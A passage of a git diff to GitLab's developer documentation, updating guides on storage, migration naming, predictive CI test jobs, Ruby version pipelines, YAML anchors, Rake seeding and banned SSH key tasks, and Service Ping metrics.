GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development). - -## Storage - -We can consider the following types of storages: - -- **Local temporary storage** (very-very short-term storage) This type of storage is system-provided storage, like a `/tmp` folder. - This is the type of storage that you should ideally use for all your temporary tasks. - The fact that each node has its own temporary storage makes scaling significantly easier. - This storage is also very often SSD-based, thus is significantly faster. - The local storage can easily be configured for the application with - the usage of `TMPDIR` variable. - -- **Shared temporary storage** (short-term storage) This type of storage is network-based temporary storage, - usually run with a common NFS server. As of Feb 2020, we still use this type of storage - for most of our implementations. Even though this allows the above limit to be significantly larger, - it does not really mean that you can use more. The shared temporary storage is shared by - all nodes. Thus, the job that uses significant amount of that space or performs a lot - of operations creates a contention on execution of all other jobs and request - across the whole application, this can easily impact stability of the whole GitLab. - Be respectful of that. - -- **Shared persistent storage** (long-term storage) This type of storage uses - shared network-based storage (for example, NFS). This solution is mostly used by customers running small - installations consisting of a few nodes. The files on shared storage are easily accessible, - but any job that is uploading or downloading data can create a serious contention to all other jobs. - This is also an approach by default used by Omnibus. - -- **Object-based persistent storage** (long term storage) this type of storage uses external - services like [AWS S3](https://en.wikipedia.org/wiki/Amazon_S3). The Object Storage - can be treated as infinitely scalable and redundant. Accessing this storage usually requires - downloading the file to manipulate it. The Object Storage can be considered as an ultimate - solution, as by definition it can be assumed that it can handle unlimited concurrent uploads - and downloads of files. This is also ultimate solution required to ensure that application can - run in containerized deployments (Kubernetes) at ease. - -### Temporary storage - -The storage on production nodes is really sparse. The application should be built -in a way that accommodates running under very limited temporary storage. -You can expect the system on which your code runs has a total of `1G-10G` -of temporary storage. However, this storage is really shared across all -jobs being run. If your job requires to use more than `100MB` of that space -you should reconsider the approach you have taken. - -Whatever your needs are, you should clearly document if you need to process files. -If you require more than `100MB`, consider asking for help from a maintainer -to work with you to possibly discover a better solution. - -#### Local temporary storage - -The usage of local storage is a desired solution to use, -especially since we work on deploying applications to Kubernetes clusters. -When you would like to use `Dir.mktmpdir`? In a case when you want for example -to extract/create archives, perform extensive manipulation of existing data, and so on. - -```ruby -Dir.mktmpdir('designs') do |path| - # do manipulation on path - # the path will be removed once - # we go out of the block -end -``` - -#### Shared temporary storage - -The usage of shared temporary storage is required if your intent -is to persistent file for a disk-based storage, and not Object Storage. -[Workhorse direct upload](uploads/index.md#direct-upload) when accepting file -can write it to shared storage, and later GitLab Rails can perform a move operation. -The move operation on the same destination is instantaneous. -The system instead of performing `copy` operation just re-attaches file into a new place. - -Since this introduces extra complexity into application, you should only try -to re-use well established patterns (for example, `ObjectStorage` concern) instead of re-implementing it. - -The usage of shared temporary storage is otherwise deprecated for all other usages. - -### Persistent storage - -#### Object Storage - -It is required that all features holding persistent files support saving data -to Object Storage. Having a persistent storage in the form of shared volume across nodes -is not scalable, as it creates a contention on data access all nodes. - -GitLab offers the [ObjectStorage concern](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/uploaders/object_storage.rb) -that implements a seamless support for Shared and Object Storage-based persistent storage. - -#### Data access - -Each feature that accepts data uploads or allows to download them needs to use -[Workhorse direct upload](uploads/index.md#direct-upload). It means that uploads needs to be -saved directly to Object Storage by Workhorse, and all downloads needs to be served -by Workhorse. - -Performing uploads/downloads via Puma is an expensive operation, -as it blocks the whole processing slot (thread) for the duration of the upload. - -Performing uploads/downloads via Puma also has a problem where the operation -can time out, which is especially problematic for slow clients. If clients take a long time -to upload/download the processing slot might be killed due to request processing -timeout (usually between 30s-60s). - -For the above reasons it is required that [Workhorse direct upload](uploads/index.md#direct-upload) is implemented -for all file uploads and downloads. +<!-- This redirect file can be deleted after <2023-04-10>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md index 8f035d4aa13..4625489146e 100644 --- a/doc/development/migration_style_guide.md +++ b/doc/development/migration_style_guide.md @@ -253,21 +253,18 @@ Therefore, either: For example, if you create an empty table and need to build an index for it, it is recommended to use a regular single-transaction migration and the default -rails schema statement: [`add_index`](https://api.rubyonrails.org/v5.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index). +rails schema statement: [`add_index`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index). This is a blocking operation, but it doesn't cause problems because the table is not yet used, and therefore it does not have any records yet. ## Naming conventions -We keep column names consistent with [ActiveRecord's schema conventions](https://guides.rubyonrails.org/active_record_basics.html#schema-conventions). - -Custom index names should follow the pattern `index_#{table_name}_on_#{column_1}_and_#{column_2}_#{condition}`. +Names for database objects (such as tables, indexes, and views) must be lowercase. +Lowercase names ensure that queries with unquoted names don't cause errors. -Examples: +We keep column names consistent with [ActiveRecord's schema conventions](https://guides.rubyonrails.org/active_record_basics.html#schema-conventions). -- `index_services_on_type_and_id_and_template_when_active` -- `index_projects_on_id_service_desk_enabled` -- `index_clusters_on_enabled_cluster_type_id_and_created_at` +Custom index and constraint names should follow the [constraint naming convention guidelines](database/constraint_naming_convention.md). ### Truncate long index names @@ -430,6 +427,9 @@ end #### Changing default value for a column +Note that changing column defaults can cause application downtime if a multi-release process is not followed. +See [avoiding downtime in migrations for changing column defaults](database/avoiding_downtime_in_migrations.md#changing-column-defaults) for details. + ```ruby enable_lock_retries! diff --git a/doc/development/pages/index.md b/doc/development/pages/index.md index 5e56264330a..05eeb1965d1 100644 --- a/doc/development/pages/index.md +++ b/doc/development/pages/index.md @@ -147,7 +147,7 @@ GitLab Pages access control is disabled by default. To enable it: 1. Restart GitLab (if running through the GDK, run `gdk restart`). Running `gdk reconfigure` overwrites the value of `access_control` in `config/gitlab.yml`. 1. In your local GitLab instance, in the browser go to `http://gdk.test:3000/admin/applications`. -1. Create an [Instance-wide OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +1. Create an [Instance-wide OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) with the `api` scope. 1. Set the value of your `redirect-uri` to the `pages-domain` authorization endpoint (for example, `http://pages.gdk.test:3010/auth`). diff --git a/doc/development/performance.md b/doc/development/performance.md index 127cade9fee..21f80364358 100644 --- a/doc/development/performance.md +++ b/doc/development/performance.md @@ -14,7 +14,7 @@ consistent performance of GitLab. Refer to the [Index](#performance-documentatio - General: - [Solving performance issues](#workflow) - [Handbook performance page](https://about.gitlab.com/handbook/engineering/performance/) - - [Merge request performance guidelines](../development/merge_request_performance_guidelines.md) + - [Merge request performance guidelines](merge_request_concepts/performance.md) - Backend: - [Tooling](#tooling) - Database: @@ -51,7 +51,7 @@ The process of solving performance problems is roughly as follows: 1. Add your findings based on the measurement period (screenshots of graphs, timings, etc) to the issue mentioned in step 1. 1. Solve the problem. -1. Create a merge request, assign the "Performance" label and follow the [performance review process](merge_request_performance_guidelines.md). +1. Create a merge request, assign the "Performance" label and follow the [performance review process](merge_request_concepts/performance.md). 1. Once a change has been deployed make sure to _again_ measure for at least 24 hours to see if your changes have any impact on the production environment. 1. Repeat until you're done. diff --git a/doc/development/permissions.md b/doc/development/permissions.md index cc7c1229e50..bf7f99de1ab 100644 --- a/doc/development/permissions.md +++ b/doc/development/permissions.md @@ -33,7 +33,7 @@ See the [permissions page](../user/permissions.md) for details on how each user Groups and projects can have the following visibility levels: - public (`20`) - an entity is visible to everyone -- internal (`10`) - an entity is visible to logged in users +- internal (`10`) - an entity is visible to authenticated users - private (`0`) - an entity is visible only to the approved members of the entity By default, subgroups can **not** have higher visibility levels. diff --git a/doc/development/pipelines/index.md b/doc/development/pipelines/index.md index a7b8c99bd13..1797e082aea 100644 --- a/doc/development/pipelines/index.md +++ b/doc/development/pipelines/index.md @@ -16,16 +16,16 @@ We're striving to [dogfood](https://about.gitlab.com/handbook/engineering/develo GitLab [CI/CD features and best-practices](../../ci/yaml/index.md) as much as possible. -## Minimal test jobs before a merge request is approved +## Predictive test jobs before a merge request is approved -**To reduce the pipeline cost and shorten the job duration, before a merge request is approved, the pipeline will run a minimal set of RSpec & Jest tests that are related to the merge request changes.** +**To reduce the pipeline cost and shorten the job duration, before a merge request is approved, the pipeline will run a predictive set of RSpec & Jest tests that are likely to fail for the merge request changes.** After a merge request has been approved, the pipeline would contain the full RSpec & Jest tests. This will ensure that all tests have been run before a merge request is merged. ### Overview of the GitLab project test dependency -To understand how the minimal test jobs are executed, we need to understand the dependency between +To understand how the predictive test jobs are executed, we need to understand the dependency between GitLab code (frontend and backend) and the respective tests (Jest and RSpec). This dependency can be visualized in the following diagram: @@ -47,11 +47,11 @@ In summary: - RSpec tests are dependent on the backend code. - Jest tests are dependent on both frontend and backend code, the latter through the frontend fixtures. -### RSpec minimal jobs +### RSpec predictive jobs -#### Determining related RSpec test files in a merge request +#### Determining predictive RSpec test files in a merge request -To identify the minimal set of tests needed, we use the [`test_file_finder` gem](https://gitlab.com/gitlab-org/ci-cd/test_file_finder), with two strategies: +To identify the RSpec tests that are likely to fail in a merge request, we use the [`test_file_finder` gem](https://gitlab.com/gitlab-org/ci-cd/test_file_finder), with two strategies: - dynamic mapping from test coverage tracing (generated via the [`Crystalball` gem](https://github.com/toptal/crystalball)) ([see where it's used](https://gitlab.com/gitlab-org/gitlab/-/blob/47d507c93779675d73a05002e2ec9c3c467cd698/tooling/bin/find_tests#L15)) @@ -60,9 +60,9 @@ To identify the minimal set of tests needed, we use the [`test_file_finder` gem] The test mappings contain a map of each source files to a list of test files which is dependent of the source file. -In the `detect-tests` job, we use this mapping to identify the minimal tests needed for the current merge request. +In the `detect-tests` job, we use this mapping to identify the predictive tests needed for the current merge request. -Later on in [the `rspec fail-fast` job](#fail-fast-job-in-merge-request-pipelines), we run the minimal tests needed for the current merge request. +Later on in [the `rspec fail-fast` job](#fail-fast-job-in-merge-request-pipelines), we run the predictive tests for the current merge request. #### Exceptional cases @@ -74,11 +74,11 @@ In addition, there are a few circumstances where we would always run the full RS - when the merge request is created in a security mirror - when any CI configuration file is changed (for example, `.gitlab-ci.yml` or `.gitlab/ci/**/*`) -### Jest minimal jobs +### Jest predictive jobs -#### Determining related Jest test files in a merge request +#### Determining predictive Jest test files in a merge request -To identify the minimal set of tests needed, we pass a list of all the changed files into `jest` using the [`--findRelatedTests`](https://jestjs.io/docs/cli#--findrelatedtests-spaceseparatedlistofsourcefiles) option. +To identify the jest tests that are likely to fail in a merge request, we pass a list of all the changed files into `jest` using the [`--findRelatedTests`](https://jestjs.io/docs/cli#--findrelatedtests-spaceseparatedlistofsourcefiles) option. In this mode, `jest` would resolve all the dependencies of related to the changed files, which include test files that have these files in the dependency chain. #### Exceptional cases @@ -97,7 +97,7 @@ The `rules` definitions for full Jest tests are defined at `.frontend:rules:jest ### Fork pipelines -We run only the minimal RSpec & Jest jobs for fork pipelines, unless the `pipeline:run-all-rspec` +We run only the predictive RSpec & Jest jobs for fork pipelines, unless the `pipeline:run-all-rspec` label is set on the MR. The goal is to reduce the CI/CD minutes consumed by fork pipelines. See the [experiment issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/1170). @@ -176,10 +176,20 @@ graph LR A --"artifact: list of test files"--> B & C ``` -## Faster feedback for merge requests that fix a broken `master` +## Faster feedback for some merge requests + +### Broken Master Fixes When you need to [fix a broken `master`](https://about.gitlab.com/handbook/engineering/workflow/#resolution-of-broken-master), you can add the `pipeline:expedite` label to expedite the pipelines that run on the merge request. +Note that the merge request also needs to have the `master:broken` or `master:foss-broken` label set. + +### Revert MRs + +To make your Revert MRs faster, use the [revert MR template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Revert%20To%20Resolve%20Incident.md) **before** you create your merge request. It will apply the `pipeline:expedite` label and others that will expedite the pipelines that run on the merge request. + +### The `~pipeline:expedite` label + When this label is assigned, the following steps of the CI/CD pipeline are skipped: - The `e2e:package-and-test` job. @@ -188,8 +198,6 @@ When this label is assigned, the following steps of the CI/CD pipeline are skipp Apply the label to the merge request, and run a new pipeline for the MR. -Note that the merge request also needs to have the `master:broken` or `master:foss-broken` label set. - ## Test jobs We have dedicated jobs for each [testing level](../testing_guide/testing_levels.md) and each job runs depending on the @@ -424,17 +432,21 @@ running every day, updating cache. The default CI/CD configuration file is also set at `jh/.gitlab-ci.yml` so it runs exactly like [GitLab JH](https://jihulab.com/gitlab-cn/gitlab/-/blob/main-jh/jh/.gitlab-ci.yml). -## Ruby 3.0 jobs +## Ruby 2.7 jobs + +We're running Ruby 3.0 for the merge requests and the default branch. However, +we're still running Ruby 2.7 for GitLab.com and there are older versions that +we need to maintain. We need a way to still try out Ruby 2.7 in merge requests. -You can add the `pipeline:run-in-ruby3` label to the merge request to switch -the Ruby version used for running the whole test suite to 3.0. When you do -this, the test suite will no longer run in Ruby 2.7 (default), and an -additional job `verify-ruby-2.7` will also run and always fail to remind us to -remove the label and run in Ruby 2.7 before merging the merge request. +You can add the `pipeline:run-in-ruby2` label to the merge request to switch +the Ruby version used for running the whole test suite to 2.7. When you do +this, the test suite will no longer run in Ruby 3.0 (default), and an +additional job `verify-ruby-3.0` will also run and always fail to remind us to +remove the label and run in Ruby 3.0 before merging the merge request. This should let us: -- Test changes for Ruby 3.0 +- Test changes for Ruby 2.7 - Make sure it will not break anything when it's merged into the default branch ## `undercover` RSpec test @@ -465,9 +477,9 @@ If these commands return `undercover: ✅ No coverage is missing in latest chang ## Ruby versions testing -Our test suite runs against Ruby 2 in merge requests and default branch pipelines. +Our test suite runs against Ruby 3 in merge requests and default branch pipelines. -We also run our test suite against Ruby 3 on another 2-hourly scheduled pipelines, as GitLab.com will soon run on Ruby 3. +We also run our test suite against Ruby 2.7 on another 2-hourly scheduled pipelines, as GitLab.com still runs on Ruby 2.7. ## PostgreSQL versions testing @@ -482,26 +494,26 @@ We also run our test suite against PG11 upon specific database library changes i | Where? | PostgreSQL version | Ruby version | |------------------------------------------------------------------------------------------------|-------------------------------------------------|--------------| -| Merge requests | 12 (default version), 11 for DB library changes | 2.7 (default version) | -| `master` branch commits | 12 (default version), 11 for DB library changes | 2.7 (default version) | -| `maintenance` scheduled pipelines for the `master` branch (every even-numbered hour) | 12 (default version), 11 for DB library changes | 2.7 (default version) | -| `maintenance` scheduled pipelines for the `ruby3` branch (every odd-numbered hour), see below. | 12 (default version), 11 for DB library changes | 3.0 (coded in the branch) | -| `nightly` scheduled pipelines for the `master` branch | 12 (default version), 11, 13 | 2.7 (default version) | - -There are 2 pipeline schedules used for testing Ruby 3. One is triggering a -pipeline in `ruby3-sync` branch, which updates the `ruby3` branch with latest +| Merge requests | 12 (default version), 11 for DB library changes | 3.0 (default version) | +| `master` branch commits | 12 (default version), 11 for DB library changes | 3.0 (default version) | +| `maintenance` scheduled pipelines for the `master` branch (every even-numbered hour) | 12 (default version), 11 for DB library changes | 3.0 (default version) | +| `maintenance` scheduled pipelines for the `ruby2` branch (every odd-numbered hour), see below. | 12 (default version), 11 for DB library changes | 2.7 | +| `nightly` scheduled pipelines for the `master` branch | 12 (default version), 11, 13 | 3.0 (default version) | + +There are 2 pipeline schedules used for testing Ruby 2.7. One is triggering a +pipeline in `ruby2-sync` branch, which updates the `ruby2` branch with latest `master`, and no pipelines will be triggered by this push. The other schedule -is triggering a pipeline in `ruby3` 5 minutes after it, which is considered +is triggering a pipeline in `ruby2` 5 minutes after it, which is considered the maintenance schedule to run test suites and update cache. -Any changes in `ruby3` are only for running the pipeline. It should -never be merged back to `master`. Any other Ruby 3 changes should go into -`master` directly, which should be compatible with Ruby 2.7. +Any changes in `ruby2` are only for running the pipeline. It should +never be merged back to `master`. Any other Ruby 2.7 changes should go into +`master` directly, which should be compatible with Ruby 3. -Previously, `ruby3-sync` was using a project token stored in `RUBY3_SYNC_TOKEN` -(now backed up in `RUBY3_SYNC_TOKEN_NOT_USED`), however due to various +Previously, `ruby2-sync` was using a project token stored in `RUBY2_SYNC_TOKEN` +(now backed up in `RUBY2_SYNC_TOKEN_NOT_USED`), however due to various permissions issues, we ended up using an access token from `gitlab-bot` so now -`RUBY3_SYNC_TOKEN` is actually an access token from `gitlab-bot`. +`RUBY2_SYNC_TOKEN` is actually an access token from `gitlab-bot`. ### Long-term plan diff --git a/doc/development/pipelines/internals.md b/doc/development/pipelines/internals.md index 71492ed9f5d..9ff4e5a35ec 100644 --- a/doc/development/pipelines/internals.md +++ b/doc/development/pipelines/internals.md @@ -214,3 +214,64 @@ and included in `rules` definitions via [YAML anchors](../../ci/yaml/yaml_optimi | `code-qa-patterns` | Combination of `code-patterns` and `qa-patterns`. | | `code-backstage-qa-patterns` | Combination of `code-patterns`, `backstage-patterns`, and `qa-patterns`. | | `static-analysis-patterns` | Only create jobs for Static Analytics configuration-related changes. | + +## Best Practices + +### When to use `extends:`, `<<: *xyz` (YAML anchors), or `!reference` + +[Reference](../../ci/yaml/yaml_optimization.md) + +#### Key takeaways + +- If you need to **extend a hash**, you should use `extends` +- If you need to **extend an array**, you'll need to use `!reference`, or `YAML anchors` as last resort +- For more complex cases (e.g. extend hash inside array, extend array inside hash, ...), you'll have to use `!reference` or `YAML anchors` + +#### What can `extends` and `YAML anchors` do? + +##### `extends` + +- Deep merge for hashes +- NO merge for arrays. It overwrites ([source](../../ci/yaml/yaml_optimization.md#merge-details)) + +##### YAML anchors + +- NO deep merge for hashes, BUT it can be used to extend a hash (see the example below) +- NO merge for arrays, BUT it can be used to extend an array (see the example below) + +#### A great example + +This example shows how to extend complex YAML data structures with `!reference` and `YAML anchors`: + +```yaml +.strict-ee-only-rules: + # `rules` is an array of hashes + rules: + - if: '$CI_PROJECT_NAME !~ /^gitlab(-ee)?$/ ' + when: never + +# `if-security-merge-request` is a hash +.if-security-merge-request: &if-security-merge-request + if: '$CI_PROJECT_NAMESPACE == "gitlab-org/security"' + +# `code-qa-patterns` is an array +.code-qa-patterns: &code-qa-patterns + - "{package.json,yarn.lock}" + - ".browserslistrc" + - "babel.config.js" + - "jest.config.{base,integration,unit}.js" + +.qa:rules:as-if-foss: + rules: + # We extend the `rules` array with an array of hashes directly + - !reference [".strict-ee-only-rules", rules] + # We extend a single array entry with a hash + - <<: *if-security-merge-request + # `changes` is an array, so we pass it an entire array + changes: *code-qa-patterns + +qa:selectors-as-if-foss: + # We include the rules from .qa:rules:as-if-foss in this job + extends: + - .qa:rules:as-if-foss +``` diff --git a/doc/development/project_templates.md b/doc/development/project_templates.md index 269724c0a7f..55a63d41425 100644 --- a/doc/development/project_templates.md +++ b/doc/development/project_templates.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- @@ -9,7 +9,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated ## Adding a new built-in project template This page provides instructions about how to contribute a -[built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). +[built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). To contribute a built-in project template, you must complete the following tasks: diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md index 456f2eb50aa..834a20239fc 100644 --- a/doc/development/prometheus_metrics.md +++ b/doc/development/prometheus_metrics.md @@ -4,7 +4,7 @@ group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Working with Prometheus Metrics **(FREE)** +# Working with Prometheus Metrics ## Adding to the library diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md index 14fbe0e875b..caea2cecf57 100644 --- a/doc/development/rake_tasks.md +++ b/doc/development/rake_tasks.md @@ -75,6 +75,54 @@ bin/rake "gitlab:seed:group_seed[subgroup_depth, username]" Group are additionally seeded with epics if GitLab instance has epics feature available. +#### Seeding a runner fleet test environment + +Use the `gitlab:seed:runner_fleet` task to seed a full runner fleet, specifically groups with subgroups and projects that contain runners and pipelines: + +```shell +bin/rake "gitlab:seed:runner_fleet[username, registration_prefix, runner_count, job_count]" +``` + +By default, the Rake task uses the `root` username to create 40 runners and 400 jobs. + +```mermaid +graph TD + G1[Top level group 1] --> G11 + G2[Top level group 2] --> G21 + G11[Group 1.1] --> G111 + G11[Group 1.1] --> G112 + G111[Group 1.1.1] --> P1111 + G112[Group 1.1.2] --> P1121 + G21[Group 2.1] --> P211 + + P1111[Project 1.1.1.1<br><i>70% of jobs, sent to first 5 runners</i>] + P1121[Project 1.1.2.1<br><i>15% of jobs, sent to first 5 runners</i>] + P211[Project 2.1.1<br><i>15% of jobs, sent to first 5 runners</i>] + + IR1[Instance runner] + P1111R1[Shared runner] + P1111R[Project 1.1.1.1 runners<br>20% total runners] + P1121R[Project 1.1.2.1 runners<br>49% total runners] + G111R[Group 1.1.1 runners<br>30% total runners<br><i>remaining jobs</i>] + G21R[Group 2.1 runners<br>1% total runners] + + P1111 --> P1111R1 + P1111 --> G111R + P1111 --> IR1 + P1111 --> P1111R + P1121 --> P1111R1 + P1121 --> IR1 + P1121 --> P1121R + P211 --> P1111R1 + P211 --> G21R + P211 --> IR1 + + classDef groups fill:#09f6,color:#000000,stroke:#333,stroke-width:3px; + classDef projects fill:#f96a,color:#000000,stroke:#333,stroke-width:2px; + class G1,G2,G11,G111,G112,G21 groups + class P1111,P1121,P211 projects +``` + #### Seeding custom metrics for the monitoring dashboard A lot of different types of metrics are supported in the monitoring dashboard. @@ -437,3 +485,26 @@ bundle exec rake gems:error_tracking_open_api:generate # Commit the changes git commit -m 'Update ErrorTrackingOpenAPI from OpenAPI definition' vendor/gems/error_tracking_open_api ``` + +## Update banned SSH keys + +You can add [banned SSH keys](../security/ssh_keys_restrictions.md#block-banned-or-compromised-keys) +from any Git repository by using the `gitlab:security:update_banned_ssh_keys` Rake task: + +1. Find a public remote Git repository containing SSH public keys. + The public key files must have the `.pub` file extension. +1. Make sure that `/tmp/` directory has enough space to store the remote Git repository. +1. To add the SSH keys to your banned-key list, run this command, replacing + `GIT_URL` and `OUTPUT_FILE` with appropriate values: + + ```shell + # @param git_url - Remote Git URL. + # @param output_file - Update keys to an output file. Default is config/security/banned_ssh_keys.yml. + + bundle exec rake "gitlab:security:update_banned_ssh_keys[GIT_URL, OUTPUT_FILE]" + ``` + +This task clones the remote repository, recursively walks the file system looking for files +ending in `.pub`, parses those files as SSH public keys, and then adds the public key fingerprints +to `output_file`. The contents of `config/security/banned_ssh_keys.yml` is read by GitLab and kept +in memory. It is not recommended to increase the size of this file beyond 1 megabyte in size. diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md index e3f523fc6a7..3bacea859ef 100644 --- a/doc/development/reusing_abstractions.md +++ b/doc/development/reusing_abstractions.md @@ -248,7 +248,7 @@ response = ServiceResponse.error( if response.success? head :ok -if response.reason == :job_not_retriable +elsif response.reason == :job_not_retriable head :unprocessable_entity else head :bad_request diff --git a/doc/development/sec/analyzer_development_guide.md b/doc/development/sec/analyzer_development_guide.md index 4fb32785b9f..6edb4d1c604 100644 --- a/doc/development/sec/analyzer_development_guide.md +++ b/doc/development/sec/analyzer_development_guide.md @@ -80,7 +80,7 @@ go build -o analyzer ### Execution criteria -[Enabling SAST](../../user/application_security/sast/index.md#configure-sast-manually) requires including a pre-defined [template](https://gitlab.com/gitlab-org/gitlab/-/blob/ee4d473eb9a39f2f84b719aa0ca13d2b8e11dc7e/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml) to your GitLab CI/CD configuration. +[Enabling SAST](../../user/application_security/sast/index.md#configure-sast-in-your-cicd-yaml) requires including a pre-defined [template](https://gitlab.com/gitlab-org/gitlab/-/blob/ee4d473eb9a39f2f84b719aa0ca13d2b8e11dc7e/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml) to your GitLab CI/CD configuration. The following independent criteria determine which analyzer needs to be run on a project: diff --git a/doc/development/sec/index.md b/doc/development/sec/index.md index 3f52020701f..4ed0eadd92f 100644 --- a/doc/development/sec/index.md +++ b/doc/development/sec/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, concepts, howto --- -# Sec section development **(FREE)** +# Sec section development The Sec section is responsible for GitLab application security features, the "Sec" part of DevSecOps. Development guides that are specific to the Sec section are listed here. diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index bccdda9ca04..3791cd4861e 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -1269,7 +1269,7 @@ This sensitive data must be handled carefully to avoid leaks which could lead to - Never commit credentials to repositories. - The [Gitleaks Git hook](https://gitlab.com/gitlab-com/gl-security/security-research/gitleaks-endpoint-installer) is recommended for preventing credentials from being committed. - Never log credentials under any circumstance. Issue [#353857](https://gitlab.com/gitlab-org/gitlab/-/issues/353857) is an example of credential leaks through log file. -- When credentials are required in a CI/CD job, use [masked variables](../ci/variables/index.md#mask-a-cicd-variable) to help prevent accidental exposure in the job logs. Be aware that when [debug logging](../ci/variables/index.md#debug-logging) is enabled, all masked CI/CD variables are visible in job logs. Also consider using [protected variables](../ci/variables/index.md#protected-cicd-variables) when possible so that sensitive CI/CD variables are only available to pipelines running on protected branches or protected tags. +- When credentials are required in a CI/CD job, use [masked variables](../ci/variables/index.md#mask-a-cicd-variable) to help prevent accidental exposure in the job logs. Be aware that when [debug logging](../ci/variables/index.md#enable-debug-logging) is enabled, all masked CI/CD variables are visible in job logs. Also consider using [protected variables](../ci/variables/index.md#protect-a-cicd-variable) when possible so that sensitive CI/CD variables are only available to pipelines running on protected branches or protected tags. - Proper scanners must be enabled depending on what data those credentials are protecting. See the [Application Security Inventory Policy](https://about.gitlab.com/handbook/security/security-engineering-and-research/application-security/inventory.html#policies) and our [Data Classification Standards](https://about.gitlab.com/handbook/security/data-classification-standard.html#data-classification-standards). - To store and/or share credentials between teams, refer to [1Password for Teams](https://about.gitlab.com/handbook/security/#1password-for-teams) and follow [the 1Password Guidelines](https://about.gitlab.com/handbook/security/#1password-guidelines). - If you need to share a secret with a team member, use 1Password. Do not share a secret over email, Slack, or other service on the Internet. diff --git a/doc/development/service_ping/implement.md b/doc/development/service_ping/implement.md index 70da97502bb..1e5f4191375 100644 --- a/doc/development/service_ping/implement.md +++ b/doc/development/service_ping/implement.md @@ -804,7 +804,7 @@ and run a local container instance: 1. In the downstream pipeline, wait for the `gitlab-docker` job to finish. 1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`. 1. On your local machine, make sure you are signed in to the GitLab Docker registry. You can find the instructions for this in - [Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry). + [Authenticate to the GitLab Container Registry](../../user/packages/container_registry/authenticate_with_container_registry.md). 1. Once signed in, download the new image by using `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>` 1. For more information about working with and running Omnibus GitLab containers in Docker, refer to [GitLab Docker images](../../install/docker.md) documentation. @@ -855,6 +855,8 @@ you must fulfill the following requirements: 1. All events listed at `events` attribute must have the same `aggregation` attribute. 1. `time_frame` does not include `all` value, which is unavailable for Redis sourced aggregated metrics. +While it is possible to aggregate EE-only events together with events that occur in all GitLab editions, it's important to remember that doing so may produce high variance between data collected from EE and CE GitLab instances. + ### Database sourced aggregated metrics > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52784) in GitLab 13.9. diff --git a/doc/development/service_ping/index.md b/doc/development/service_ping/index.md index 37e0b753448..40bb03cb5b4 100644 --- a/doc/development/service_ping/index.md +++ b/doc/development/service_ping/index.md @@ -4,7 +4,7 @@ group: Product Intelligence info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Service Ping Guide **(FREE SELF)** +# Service Ping Guide > - Introduced in GitLab Ultimate 11.2, more statistics. > - In GitLab 14.1, [renamed from Usage Ping to Service Ping](https://gitlab.com/groups/gitlab-org/-/epics/5990). In 14.0 and earlier, use the Usage Ping documentation for the Rails commands appropriate to your version. diff --git a/doc/development/service_ping/metrics_dictionary.md b/doc/development/service_ping/metrics_dictionary.md index 49f8a5ac465..28581f81f94 100644 --- a/doc/development/service_ping/metrics_dictionary.md +++ b/doc/development/service_ping/metrics_dictionary.md @@ -45,7 +45,7 @@ Each metric is defined in a separate YAML file consisting of a number of fields: | `data_category` | yes | `string`; [categories](#data-category) of the metric, may be set to `operational`, `optional`, `subscription`, `standard`. The default value is `optional`.| | `instrumentation_class` | yes | `string`; [the class that implements the metric](metrics_instrumentation.md). | | `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. | -| `performance_indicator_type` | no | `array`; may be set to one of [`gmau`, `smau`, `paid_gmau`, or `umau`](https://about.gitlab.com/handbook/business-technology/data-team/data-catalog/xmau-analysis/). | +| `performance_indicator_type` | no | `array`; may be set to one of [`gmau`, `smau`, `paid_gmau`, `umau` or `customer_health_score`](https://about.gitlab.com/handbook/business-technology/data-team/data-catalog/xmau-analysis/). | | `tier` | yes | `array`; may contain one or a combination of `free`, `premium` or `ultimate`. The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the tracked feature is available. This should be verbose and contain all tiers where a metric is available. | | `milestone` | yes | The milestone when the metric is introduced and when it's available to self-managed instances with the official GitLab release. | | `milestone_removed` | no | The milestone when the metric is removed. | @@ -126,7 +126,7 @@ A metric's time frame is calculated based on the `time_frame` field and the `dat For 